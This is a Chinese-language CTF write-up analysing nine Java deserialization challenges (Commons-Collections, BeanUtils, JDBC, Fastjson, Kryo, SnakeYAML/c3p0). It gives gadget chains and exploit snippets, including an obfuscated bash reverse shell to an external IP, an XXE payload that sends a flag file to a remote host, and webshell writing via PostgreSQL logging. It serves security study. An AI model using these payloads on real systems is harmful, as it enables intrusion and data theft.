记几道CTF-Java反序列化题目
字数 2130 2025-08-18 17:33:44
Java反序列化漏洞实战教学
目录
- [CISCN 2023]deserbug
- [MTCTF2022]easyjava
- [羊城杯 2020]a_piece_of_java
- [红明谷CTF 2021]JavaWeb
- [HZNUCTF 2023]easyjava
- [网鼎杯 2020青龙组]FileJava
- [CISCN 2023 西南]seaclouds
- [第六届安洵杯]ezjava
- [CISCN2023华北]normal_snake
1. [CISCN 2023]deserbug
漏洞分析
- 依赖:common-collections-3.2.2和hutool-all-5.8.18
- CC3.2.2比3.2.1多了一个
checkUnsafeSerialization函数,禁止了部分类的序列化 - 关键类:
MyExpect和Testapp - 利用点:
getAnyexcept()方法中的类实例化
利用链
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode() ->
TiedMapEntry#getValue() -> LazyMap#get() -> cn.hutool.json.JSONObject#put() ->
Myexpect#getAnyexcept() -> TrAXFilter#constructor() ->
TemplatesImpl#newTransformer() -> Runtime.exec
绕过技巧
- 通过hutool中的
put方法触发getAnyexcept - 使用
LazyMap#get触发map.put
利用代码关键点
// 设置恶意TemplatesImpl
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
// 构造Myexpect触发点
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
// 构造LazyMap链
LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "1");
2. [MTCTF2022]easyjava
漏洞分析
- Shiro 1.5.2版本存在
;绕过权限认证漏洞 - 自定义
MyObjectInputStream过滤了部分危险类 - 使用commons-beanutils 1.9.4的CB链
利用链
PriorityQueue.readObject() -> PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare() -> TemplateImpl.getOutputProperties() ->
TemplateImpl.newTransformer -> 动态调用类
绕过技巧
- 使用
;绕过Shiro认证 - 利用未被过滤的
BeanComparator
利用代码关键点
// 设置恶意TemplatesImpl
setFieldValue(templates,"_bytecodes",codes);
// 构造PriorityQueue触发链
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
priorityQueue.add("1");
priorityQueue.add("2");
// 修改属性触发比较
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
3. [羊城杯 2020]a_piece_of_java
漏洞分析
- 使用SerialKiller进行反序列化过滤
- 白名单限制:
gdufs.*和java.lang.* - 存在mysql-connect-8.0.19依赖
利用链
通过JDBC反序列化触发:
DriverManager.getConnection触发JDBC反序列化checkAllInfo触发连接InfoInvocationHandler#invoke动态代理触发
利用方法
- 搭建恶意MySQL服务器
- 使用ysoserial生成CC链payload
- 通过CookieData触发
恶意MySQL服务器关键点
# 设置autoDeserialize参数触发反序列化
databaseInfo.setPassword("123123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
# 在MySQL服务器中返回恶意序列化数据
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
4. [红明谷CTF 2021]JavaWeb
漏洞分析
- Shiro框架存在权限绕过
- 使用jackson框架
- 最终利用
ch.qos.logback.core.db.JNDIConnectionSource实现RCE
利用方法
- 搭建RMI服务
- 实例化恶意类
- 通过JNDI注入触发
恶意类示例
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
}
5. [HZNUCTF 2023]easyjava
漏洞分析
- Fastjson 1.2.48
- 使用原生反序列化通过
JSON#toString触发
利用链
JSON#toString -> json#toJSONString -> get方法
利用代码关键点
// 构造恶意TemplatesImpl
setValue(templates, "_bytecodes", bytes);
// 使用BadAttributeValueExpException触发
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
高版本JDK绕过
使用javaSerializedData属性绕过trustURLCodebase限制:
e.addAttribute("javaSerializedData", Base64.decode("exp的base64"));
6. [网鼎杯 2020青龙组]FileJava
漏洞分析
- Apache POI < 4.1.0存在XXE漏洞(CVE-2014-3529)
- 漏洞触发点:
ZipPackage#getPartsImpl->ContentTypeManager#parseContentTypesFile
利用方法
- 修改xlsx中的Content-Type文件
- 添加XXE payload
- 文件名必须以
excel-开头
XXE Payload示例
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
7. [CISCN 2023 西南]seaclouds
漏洞分析
- 使用kryo反序列化
- 存在二次反序列化绕过
利用链
kyro#readObject() -> hashMap#put() -> HotSwappableTargetSource#equals() ->
Xstring#equals() -> BaseJsonNode#toString() -> SignedObject#getObject() ->
HashMap#readObject() -> templatesImpl#getOutputProperties()
利用代码关键点
// 第一次序列化
HashMap hashMap=new HashMap();
hashMap.put(hotSwappableTargetSource,"1");
hashMap.put(hotSwappableTargetSource1,"2");
// 第二次序列化包装
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode1=new POJONode(signedObject);
8. [第六届安洵杯]ezjava
漏洞分析
- 自定义
MyObjectInputStream过滤了常见利用类 - 存在PostgreSQL JDBC驱动漏洞(CVE-2022-21724)
利用链
BadAttributeValueExpException#readObject() -> TiedMapEntry#getValue() ->
LazyMap#get() -> TreeMap#put() -> BeanComparator#compare() ->
BaseDataSource#getConnection() -> org.postgresql.Driver#setupLoggerFromProperties() ->
org.postgresql.Driver#connect() -> 写入文件
利用方法
- 利用freemarker模板注入
- 通过PostgreSQL的
loggerFile参数写入webshell
利用代码关键点
// 设置PostgreSQL连接参数
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
// 构造BeanComparator触发链
BeanComparator beanComparator=new BeanComparator();
setFieldValue(beanComparator, "property", "connection");
9. [CISCN2023华北]normal_snake
漏洞分析
- SnakeYAML 1.30反序列化漏洞
- 过滤了
!!、JAVA、JNDI、JDBC等关键字 - 存在c3p0 0.9.5.2依赖
利用链
通过c3p0的二次反序列化绕过过滤:
property.set()触发set方法- 触发
setuserOverridesAsString - 通过c3p0的动态类加载实现RCE
利用代码关键点
// 构造c3p0恶意数据源
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);
Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
// 生成YAML payload
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
通用防御建议
- 升级相关库到最新版本
- 使用安全的反序列化工具如SerialKiller
- 实施严格的白名单机制
- 禁用不必要的Java特性
- 对用户输入进行严格过滤
总结
本文详细分析了9个Java反序列化漏洞案例,涵盖了CC链、CB链、JDBC反序列化、SnakeYAML、Fastjson等多种漏洞类型,并提供了详细的利用方法和绕过技巧。理解这些漏洞原理和利用技术对于Java安全研究和防御具有重要意义。